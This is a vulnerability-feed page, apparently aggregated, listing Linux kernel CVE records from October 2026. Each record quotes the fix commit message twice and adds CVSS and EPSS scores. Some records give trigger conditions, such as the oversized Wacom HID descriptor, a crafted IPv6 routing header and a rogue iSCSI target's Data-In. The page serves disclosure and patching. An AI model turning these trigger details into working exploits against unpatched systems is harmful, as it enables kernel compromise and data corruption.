### Linux kernel: drm/xe/vm: nuke PTs only after unlinking contested VMAs
https://kevwire.com/record/CVE-2026-98510
Linux kernel: drm/xe/vm: nuke PTs only after unlinking contested VMAs (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/xe/vm: nuke PTs only after unlinking contested VMAs

In xe_vm_close_and_put(), external-BO VMAs are queued on the contested
list for deferred destruction via xe_vma_destroy_unlocked(). However,
xe_vm_pt_destroy() was previously invoked before processing contested
VMAs, destroying vm->pt_root while those VMAs were still linked to their
respective buffer objects (vm_bo->list.gpuva).

If a concurrent thread evicts one of those shared buffer objects,
xe_bo_trigger_rebind() holding only bo->resv walks the BO's VMAs and, in
fault mode, calls xe_vm_invalidate_vma() -> xe_pt_zap_ptes(). Because
vm->pt_root[tile->id] is already NULL, dereferencing pt->level causes a
NULL ptr deref.

Fix this by deferring xe_vm_free_scratch() and xe_vm_pt_destroy() until
after all contested VMAs have been unlinked and destroyed.

User is reporting hitting a NULL ptr deref in xe_pt_zap_ptes(), which
could be explained by this race.

(cherry picked from commit c2863648959489767f08892fd6e90577d2ea0b6a)
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98510).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98510&date=2026-10-25).
Sources:
NVD CVE-2026-98510: https://nvd.nist.gov/vuln/detail/CVE-2026-98510
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98510&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drm/xe/vm: nuke PTs only after unlinking contested VMAs

In xe_vm_close_and_put(), external-BO VMAs are queued on the contested
list for deferred destruction via xe_vma_destroy_unlocked(). However,
xe_vm_pt_destroy() was previously invoked before processing contested
VMAs, destroying vm->pt_root while those VMAs were still linked to their
respective buffer objects (vm_bo->list.gpuva).

If a concurrent thread evicts one of those shared buffer objects,
xe_bo_trigger_rebind() holding only bo->resv walks the BO's VMAs and, in
fault mode, calls xe_vm_invalidate_vma() -> xe_pt_zap_ptes(). Because
vm->pt_root[tile->id] is already NULL, dereferencing pt->level causes a
NULL ptr deref.

Fix this by deferring xe_vm_free_scratch() and xe_vm_pt_destroy() until
after all contested VMAs have been unlinked and destroyed.

User is reporting hitting a NULL ptr deref in xe_pt_zap_ptes(), which
could be explained by this race.

(cherry picked from commit c2863648959489767f08892fd6e90577d2ea0b6a)

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: mm/rmap: fix missing barrier between anon_vma init and vma->anon_vma publish
https://kevwire.com/record/CVE-2026-98507
Linux kernel: mm/rmap: fix missing barrier between anon_vma init and vma->anon_vma publish (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

mm/rmap: fix missing barrier between anon_vma init and vma->anon_vma publish

On arm64 server, we find that a task trying to grab the anon_vma lock
triggers hungtask.

INFO: task main:2354726 blocked for more than 120 seconds.
      Tainted: G            E     5.10.0-0021.aarch64 #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
task:main            state:D stack:    0 pid:2354726 ppid:2350673 flags:0x00000a01
Call trace:
 __switch_to+0x7c/0xbc
 __schedule+0x3b4/0x8a0
 schedule+0x50/0xe0
 rwsem_down_write_slowpath+0x3cc/0x6cc
 down_write+0x60/0x260
 __anon_vma_prepare+0x6c/0x210
 do_anonymous_page+0x258/0x660
 handle_pte_fault+0x188/0x214
 __handle_mm_fault+0x1b0/0x380
 handle_mm_fault+0xf4/0x284
 do_page_fault+0x19c/0x494
 do_translation_fault+0xcc/0xf8
 do_mem_abort+0x48/0xac
 el0_da+0x44/0x80
 el0_sync_handler+0x88/0xb4
 el0_sync+0x160/0x180

After analyzing the vmcore, we found the anon_vma->root->rwsem.count is
-1.  There is another anon_vma whose anon_vma->root->rwsem.count is 1, the
anon_vma->root->rwsem.owner shows the lock is held, but the stack of the
task shows the task doesn't hold the anon_vma lock.

After adding more debugging info, we found __anon_vma_prepare() reuses
anon_vma and triggers the UAF of anon_vma->root due to missing memory
barrier, leading to locking and unlocking two different anon_vma->root,
thus leading to an anon_vma will never be unlocked, and another anon_vma
couldn't be locked anymore.

This race requires two adjacent VMAs that are not merged but are
anon_vma-compatible (e.g., they differ in VMA_ACCESS_FLAGS that can be
changed by mprotect()).  Two threads fault on each VMA concurrently, both
calling __anon_vma_prepare() with only mmap_lock held for reading.

    THREAD A                             THREAD B
__anon_vma_prepare                __anon_vma_prepare
 find_mergeable_anon_vma() -> NULL
 anon_vma = anon_vma_alloc();
   anon_vma->root = anon_vma;
 // the two stores may be reordered
 vma->anon_vma = anon_vma;
                                   // finds A's anon_vma
                                   anon_vma = find_mergeable_a
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98507).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98507&date=2026-10-25).
Sources:
NVD CVE-2026-98507: https://nvd.nist.gov/vuln/detail/CVE-2026-98507
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98507&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

mm/rmap: fix missing barrier between anon_vma init and vma->anon_vma publish

On arm64 server, we find that a task trying to grab the anon_vma lock
triggers hungtask.

INFO: task main:2354726 blocked for more than 120 seconds.
      Tainted: G            E     5.10.0-0021.aarch64 #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
task:main            state:D stack:    0 pid:2354726 ppid:2350673 flags:0x00000a01
Call trace:
 __switch_to+0x7c/0xbc
 __schedule+0x3b4/0x8a0
 schedule+0x50/0xe0
 rwsem_down_write_slowpath+0x3cc/0x6cc
 down_write+0x60/0x260
 __anon_vma_prepare+0x6c/0x210
 do_anonymous_page+0x258/0x660
 handle_pte_fault+0x188/0x214
 __handle_mm_fault+0x1b0/0x380
 handle_mm_fault+0xf4/0x284
 do_page_fault+0x19c/0x494
 do_translation_fault+0xcc/0xf8
 do_mem_abort+0x48/0xac
 el0_da+0x44/0x80
 el0_sync_handler+0x88/0xb4
 el0_sync+0x160/0x180

After analyzing the vmcore, we found the anon_vma->root->rwsem.count is
-1.  There is another anon_vma whose anon_vma->root->rwsem.count is 1, the
anon_vma->root->rwsem.owner shows the lock is held, but the stack of the
task shows the task doesn't hold the anon_vma lock.

After adding more debugging info, we found __anon_vma_prepare() reuses
anon_vma and triggers the UAF of anon_vma->root due to missing memory
barrier, leading to locking and unlocking two different anon_vma->root,
thus leading to an anon_vma will never be unlocked, and another anon_vma
couldn't be locked anymore.

This race requires two adjacent VMAs that are not merged but are
anon_vma-compatible (e.g., they differ in VMA_ACCESS_FLAGS that can be
changed by mprotect()).  Two threads fault on each VMA concurrently, both
calling __anon_vma_prepare() with only mmap_lock held for reading.

    THREAD A                             THREAD B
__anon_vma_prepare                __anon_vma_prepare
 find_mergeable_anon_vma() -> NULL
 anon_vma = anon_vma_alloc();
   anon_vma->root = anon_vma;
 // the two stores may be reordered
 vma->anon_vma = anon_vma;
                                   // finds A's anon_vma
                                   anon_vma = find_mergeable_anon_vma(vma);
                                   anon_vma_lock_write(anon_vma);
                                     // may still see the old root
                                     down_write(&anon_vma->root->rwsem);
                                   anon_vma_unlock_write(anon_vma);
                                     // see the new root, never unlock old
                                     up_write(&anon_vma->root->rwsem);

thread A triggers page fault and calls __anon_vma_prepare() to prepare
anon_vma for the faulting vma.  __anon_vma_prepare() allocates and
initializes a new anon_vma, and then publishes it to the vma with a plain
store.  anon_vma_prepare() only requires the mmap_lock to be held for
reading, so two threads can fault on adjacent VMAs at the same time. 
While thread A publishes a new anon_vma, thread B could find the anon_vma
via find_mergeable_anon_vma() and then locks anon_vma->root->rwsem.

The store to anon_vma->root in anon_vma_alloc() and the store to
vma->anon_vma can be reordered.  The anon_vma_lock_write() and spin_lock()
only provide acquire semantics, which do not prevent prior stores from
being reordered after them.  The release semantics of the corresponding
spin_unlock() and anon_vma_unlock_write() come too late, the store to
vma->anon_vma is already published before they take effect.  As a result,
thread B can observe the following order:

    vma->anon_vma = anon_vma;
    anon_vma->root = anon_vma;

The anon_vma slab is SLAB_TYPESAFE_BY_RCU, so a newly allocated anon_vma
may reuse memory from a previously freed one.  The constructor
(anon_vma_ctor) does not reset anon_vma->root, and __put_anon_vma()
doesn't clear it either, so the old root value persists until
anon_vma_alloc() overwrites it.  If that store isn't v
---truncated---

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: HID: alps: fix use-after-free on input2 registration failure
https://kevwire.com/record/CVE-2026-98501
Linux kernel: HID: alps: fix use-after-free on input2 registration failure (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

HID: alps: fix use-after-free on input2 registration failure

alps_input_configured() stores data->input2 before calling
input_register_device().  If registration fails, input_free_device()
frees the input device but data->input2 still points to the freed memory.
alps_input_configured() calls hid_hw_open() before allocating input2, so
URBs are already active and raw_event can fire during the failure window.
A U1_SP_ABSOLUTE_REPORT_ID report arriving then causes u1_raw_event()
to dereference the freed data->input2 -> use-after-free.

Fix by only storing input2 into drvdata after successful registration
and adding a NULL guard in the raw_event path.
CVSS 7.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98501).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98501&date=2026-10-25).
Sources:
NVD CVE-2026-98501: https://nvd.nist.gov/vuln/detail/CVE-2026-98501
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98501&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

HID: alps: fix use-after-free on input2 registration failure

alps_input_configured() stores data->input2 before calling
input_register_device().  If registration fails, input_free_device()
frees the input device but data->input2 still points to the freed memory.
alps_input_configured() calls hid_hw_open() before allocating input2, so
URBs are already active and raw_event can fire during the failure window.
A U1_SP_ABSOLUTE_REPORT_ID report arriving then causes u1_raw_event()
to dereference the freed data->input2 -> use-after-free.

Fix by only storing input2 into drvdata after successful registration
and adding a NULL guard in the raw_event path.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: HID: wacom: fix OOB read in wacom_wac_pen_serial_enforce()
https://kevwire.com/record/CVE-2026-98499
Linux kernel: HID: wacom: fix OOB read in wacom_wac_pen_serial_enforce() (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

HID: wacom: fix OOB read in wacom_wac_pen_serial_enforce()

The 'wacom_wac_pen_serial_enforce()' function may calculate and pass an
invalid offset to hid_field_extract(), resulting in memory reads at
incorrect addresses -- possibly beyond the end of the report.  If a
field in the HID descriptor lists more usages than its Report Count
actually reserves space for, the function's inner 'j' will walk past
the end of the field:

	for (i = 0; i < report->maxfield; i++) {
		for (j = 0; j < report->field[i]->maxusage; j++) {
			...
			value = hid_field_extract(hdev, raw_data + 1,
						  offset + j * size, size);

A descriptor listing 12288 usages against Report Count 1 has the loop
extract the usage at index 12287 from bit offset 98296 -- about 12 KB
past a 2-byte received report.  The value is stored in
wacom_wac->serial[0] and can reach userspace as an MSC_SERIAL event,
making this an information disclosure.

Clamp the loop to field->report_count, the number of value slots the
report holds.  Value slots past the last declared usage are still
scanned; they reuse that usage (HID 1.11, 6.2.2.8).

Verified on v6.12.105 with a UHID reproducer: a 2-byte report from
such a descriptor trips KASAN before the patch and not after it.
CVSS 8.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98499).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98499&date=2026-10-25).
Sources:
NVD CVE-2026-98499: https://nvd.nist.gov/vuln/detail/CVE-2026-98499
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98499&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

HID: wacom: fix OOB read in wacom_wac_pen_serial_enforce()

The 'wacom_wac_pen_serial_enforce()' function may calculate and pass an
invalid offset to hid_field_extract(), resulting in memory reads at
incorrect addresses -- possibly beyond the end of the report.  If a
field in the HID descriptor lists more usages than its Report Count
actually reserves space for, the function's inner 'j' will walk past
the end of the field:

	for (i = 0; i < report->maxfield; i++) {
		for (j = 0; j < report->field[i]->maxusage; j++) {
			...
			value = hid_field_extract(hdev, raw_data + 1,
						  offset + j * size, size);

A descriptor listing 12288 usages against Report Count 1 has the loop
extract the usage at index 12287 from bit offset 98296 -- about 12 KB
past a 2-byte received report.  The value is stored in
wacom_wac->serial[0] and can reach userspace as an MSC_SERIAL event,
making this an information disclosure.

Clamp the loop to field->report_count, the number of value slots the
report holds.  Value slots past the last declared usage are still
scanned; they reuse that usage (HID 1.11, 6.2.2.8).

Verified on v6.12.105 with a UHID reproducer: a 2-byte report from
such a descriptor trips KASAN before the patch and not after it.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net/mlx5e: fix swapped IPv6 IPsec policy masks
https://kevwire.com/record/CVE-2026-98497
Linux kernel: net/mlx5e: fix swapped IPv6 IPsec policy masks (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net/mlx5e: fix swapped IPv6 IPsec policy masks

IPv6 XFRM policies may use different source and destination prefix
lengths. mlx5e_ipsec_policy_mask() builds the corresponding masks
independently, but setup_fte_addr6() installs each mask in the opposite
address field.

When the prefix lengths differ, this makes the source match use the
destination prefix and the destination match use the source prefix. The
resulting hardware rule can both miss traffic covered by the policy and
match traffic outside it.

Install each mask in its corresponding match field.
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98497).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98497&date=2026-10-25).
Sources:
NVD CVE-2026-98497: https://nvd.nist.gov/vuln/detail/CVE-2026-98497
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98497&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net/mlx5e: fix swapped IPv6 IPsec policy masks

IPv6 XFRM policies may use different source and destination prefix
lengths. mlx5e_ipsec_policy_mask() builds the corresponding masks
independently, but setup_fte_addr6() installs each mask in the opposite
address field.

When the prefix lengths differ, this makes the source match use the
destination prefix and the destination match use the source prefix. The
resulting hardware rule can both miss traffic covered by the policy and
match traffic outside it.

Install each mask in its corresponding match field.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net: openvswitch: conntrack: avoid modifying shared unconfirmed ct entry
https://kevwire.com/record/CVE-2026-98491
Linux kernel: net: openvswitch: conntrack: avoid modifying shared unconfirmed ct entry (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net: openvswitch: conntrack: avoid modifying shared unconfirmed ct entry

In a case where skb with an unconfirmed ct entry gets cloned, we may
end up committing both but with different sets of extensions.

The series of events:

 1. The first clone wants to commit and runs the helpers wiring up
    the extension pointer into the expectation list.
 2. Then it looses the confirmation keeping the entry unconfirmed.
 3. Second clone now wants to commit labels and adds the new extension
    for that breaking the pointer in the expectation list causing
    UAF on the destruction path later.

While this is possible to trigger, there should be no practical
network pipeline where committing both clones without modifications
into the same zone is needed.  So, let's just reset the entry in case
for some reason we got an skb with a shared one during commit.  This
doesn't affect any known use cases, but avoids any potential problems
with sharing and modification of the unconfirmed ct entry.

The fixes tag points to the introduction of helpers, since that's the
main UAF trigger for the sharing.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98491).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98491&date=2026-10-25).
Sources:
NVD CVE-2026-98491: https://nvd.nist.gov/vuln/detail/CVE-2026-98491
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98491&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net: openvswitch: conntrack: avoid modifying shared unconfirmed ct entry

In a case where skb with an unconfirmed ct entry gets cloned, we may
end up committing both but with different sets of extensions.

The series of events:

 1. The first clone wants to commit and runs the helpers wiring up
    the extension pointer into the expectation list.
 2. Then it looses the confirmation keeping the entry unconfirmed.
 3. Second clone now wants to commit labels and adds the new extension
    for that breaking the pointer in the expectation list causing
    UAF on the destruction path later.

While this is possible to trigger, there should be no practical
network pipeline where committing both clones without modifications
into the same zone is needed.  So, let's just reset the entry in case
for some reason we got an skb with a shared one during commit.  This
doesn't affect any known use cases, but avoids any potential problems
with sharing and modification of the unconfirmed ct entry.

The fixes tag points to the introduction of helpers, since that's the
main UAF trigger for the sharing.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net: openvswitch: conntrack: fix helper UAF due to extensions realloc
https://kevwire.com/record/CVE-2026-98490
Linux kernel: net: openvswitch: conntrack: fix helper UAF due to extensions realloc (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net: openvswitch: conntrack: fix helper UAF due to extensions realloc

While calling the helpers, a raw pointer to the extensions area is
wired into expectations list:

  -> nf_ct_helper()
   -> helper->help()
    -> nf_ct_expect_related_report()
     -> nf_ct_expect_insert()
      -> hlist_add_head_rcu(&exp->lnode, &master_help->expectations)

In case the connection is not confirmed yet, more extensions can be
added afterwards with *_ext_add() calls reallocating the extension
space and leaving the now invalid pointer in the expectations list
that is later accessed while removing the expectation.

Make sure that helpers are called at the end after all the other
extensions are already added.

Note that the helper rejection now leaves the mark and labels set,
but that's not different from how the NAT was handled before or how
the mark and the labels were handled on confirmation failure.  And
there are no atomicity guarantees provided by the API anyway.
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98490).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98490&date=2026-10-25).
Sources:
NVD CVE-2026-98490: https://nvd.nist.gov/vuln/detail/CVE-2026-98490
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98490&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net: openvswitch: conntrack: fix helper UAF due to extensions realloc

While calling the helpers, a raw pointer to the extensions area is
wired into expectations list:

  -> nf_ct_helper()
   -> helper->help()
    -> nf_ct_expect_related_report()
     -> nf_ct_expect_insert()
      -> hlist_add_head_rcu(&exp->lnode, &master_help->expectations)

In case the connection is not confirmed yet, more extensions can be
added afterwards with *_ext_add() calls reallocating the extension
space and leaving the now invalid pointer in the expectations list
that is later accessed while removing the expectation.

Make sure that helpers are called at the end after all the other
extensions are already added.

Note that the helper rejection now leaves the mark and labels set,
but that's not different from how the NAT was handled before or how
the mark and the labels were handled on confirmation failure.  And
there are no atomicity guarantees provided by the API anyway.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net: bridge: mdb: restart port group walk after deletion
https://kevwire.com/record/CVE-2026-98487
Linux kernel: net: bridge: mdb: restart port group walk after deletion (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net: bridge: mdb: restart port group walk after deletion

br_mdb_flush_pgs() keeps a pointer-to-pointer cursor while walking
mp->ports. br_multicast_del_pg() can re-enter the same MDB entry through
br_multicast_sg_del_exclude_ports() and unlink other port groups. If the
cursor points into one of those groups, the next iteration dereferences a
stale cursor and can leave mp->ports pointing at freed memory.

A following RTM_GETMDB exposes the dangling pointer:

  BUG: KASAN: slab-use-after-free in br_mdb_dump
  Read of size 8
    br_mdb_dump
    rtnl_mdb_dump
    rtnl_dumpit
    netlink_dump

Reset the cursor to mp->ports after every deletion. The deletion removes at
least the selected group, so the restarted walk always makes progress.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98487).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98487&date=2026-10-25).
Sources:
NVD CVE-2026-98487: https://nvd.nist.gov/vuln/detail/CVE-2026-98487
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98487&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net: bridge: mdb: restart port group walk after deletion

br_mdb_flush_pgs() keeps a pointer-to-pointer cursor while walking
mp->ports. br_multicast_del_pg() can re-enter the same MDB entry through
br_multicast_sg_del_exclude_ports() and unlink other port groups. If the
cursor points into one of those groups, the next iteration dereferences a
stale cursor and can leave mp->ports pointing at freed memory.

A following RTM_GETMDB exposes the dangling pointer:

  BUG: KASAN: slab-use-after-free in br_mdb_dump
  Read of size 8
    br_mdb_dump
    rtnl_mdb_dump
    rtnl_dumpit
    netlink_dump

Reset the cursor to mp->ports after every deletion. The deletion removes at
least the selected group, so the restarted walk always makes progress.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read
https://kevwire.com/record/CVE-2026-98485
Linux kernel: netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read

rt_mt6_check() permits rules to be configured with rtinfo->addrnr == 0
even when address matching (IP6T_RT_FST_MASK) is requested.

In the IP6T_RT_FST_NSTRICT path, rt_mt6() evaluates packet routing
addresses against rtinfo->addrs[i] and terminates backwards at the bottom
of the loop:

    if (ipv6_addr_equal(ap, &rtinfo->addrs[i])) {
        i++;
    }
    if (i == rtinfo->addrnr)
        break;

When addrnr is 0, if the first packet address matches rtinfo->addrs[0],
i is incremented to 1. Because i is now strictly greater than addrnr (0),
the loop termination condition (i == rtinfo->addrnr) is bypassed and will
never be satisfied.

If a crafted IPv6 packet contains matching routing addresses, i will
advance past IP6T_RT_HOPS (16). The subsequent call to ipv6_addr_equal()
reads beyond struct ip6t_rt, triggering UBSAN/KASAN out-of-bounds warnings
or kernel panics.

Fix this by:
1. Rejecting rules in rt_mt6_check() where IP6T_RT_FST_MASK is set but
   rtinfo->addrnr is zero.
2. In rt_mt6(), moving the termination condition (i < rtinfo->addrnr)
   into the for-loop header condition and removing the backwards break
   at the end of the loop body.
CVSS 7.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98485).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98485&date=2026-10-25).
Sources:
NVD CVE-2026-98485: https://nvd.nist.gov/vuln/detail/CVE-2026-98485
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98485&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read

rt_mt6_check() permits rules to be configured with rtinfo->addrnr == 0
even when address matching (IP6T_RT_FST_MASK) is requested.

In the IP6T_RT_FST_NSTRICT path, rt_mt6() evaluates packet routing
addresses against rtinfo->addrs[i] and terminates backwards at the bottom
of the loop:

    if (ipv6_addr_equal(ap, &rtinfo->addrs[i])) {
        i++;
    }
    if (i == rtinfo->addrnr)
        break;

When addrnr is 0, if the first packet address matches rtinfo->addrs[0],
i is incremented to 1. Because i is now strictly greater than addrnr (0),
the loop termination condition (i == rtinfo->addrnr) is bypassed and will
never be satisfied.

If a crafted IPv6 packet contains matching routing addresses, i will
advance past IP6T_RT_HOPS (16). The subsequent call to ipv6_addr_equal()
reads beyond struct ip6t_rt, triggering UBSAN/KASAN out-of-bounds warnings
or kernel panics.

Fix this by:
1. Rejecting rules in rt_mt6_check() where IP6T_RT_FST_MASK is set but
   rtinfo->addrnr is zero.
2. In rt_mt6(), moving the termination condition (i < rtinfo->addrnr)
   into the for-loop header condition and removing the backwards break
   at the end of the loop body.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: scsi: libiscsi_tcp: Check the data direction of a Data-In PDU
https://kevwire.com/record/CVE-2026-98479
Linux kernel: scsi: libiscsi_tcp: Check the data direction of a Data-In PDU (Oct 18, 2026).
In the Linux kernel, the following vulnerability has been resolved:

scsi: libiscsi_tcp: Check the data direction of a Data-In PDU

The Data-In branch of iscsi_tcp_hdr_dissect() resolves the ITT to a task
and copies the PDU's data segment into that command's scatterlist without
asking whether the command was reading. iscsi_tcp_r2t_rsp() in the same
file does ask, and rejects an R2T for a command that is not DMA_TO_DEVICE.

A target that answers a WRITE command's ITT with a Data-In therefore has
the initiator write target-supplied bytes into the pages that write was
about to send. Those are the caller's own pinned pages for an O_DIRECT
write, and page cache pages for a buffered one.

Observed against a test target that emits one 512-byte Data-In naming a 128
KB write's ITT, after the R2T for that write. With O_DIRECT the caller's
buffer ends up holding 512 bytes of the target's data while pwrite()
returns 131072. Buffered is quieter: pwrite() and fsync() both succeed,
nothing is logged, and reading those blocks back returns the target's bytes
out of the page cache without a command going on the wire.

Check the direction before using the scatterlist, the way the R2T path
already does.
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98479).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98479&date=2026-10-25).
Sources:
NVD CVE-2026-98479: https://nvd.nist.gov/vuln/detail/CVE-2026-98479
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98479&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

scsi: libiscsi_tcp: Check the data direction of a Data-In PDU

The Data-In branch of iscsi_tcp_hdr_dissect() resolves the ITT to a task
and copies the PDU's data segment into that command's scatterlist without
asking whether the command was reading. iscsi_tcp_r2t_rsp() in the same
file does ask, and rejects an R2T for a command that is not DMA_TO_DEVICE.

A target that answers a WRITE command's ITT with a Data-In therefore has
the initiator write target-supplied bytes into the pages that write was
about to send. Those are the caller's own pinned pages for an O_DIRECT
write, and page cache pages for a buffered one.

Observed against a test target that emits one 512-byte Data-In naming a 128
KB write's ITT, after the R2T for that write. With O_DIRECT the caller's
buffer ends up holding 512 bytes of the target's data while pwrite()
returns 131072. Buffered is quieter: pwrite() and fsync() both succeed,
nothing is logged, and reading those blocks back returns the target's bytes
out of the page cache without a command going on the wire.

Check the direction before using the scatterlist, the way the R2T path
already does.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

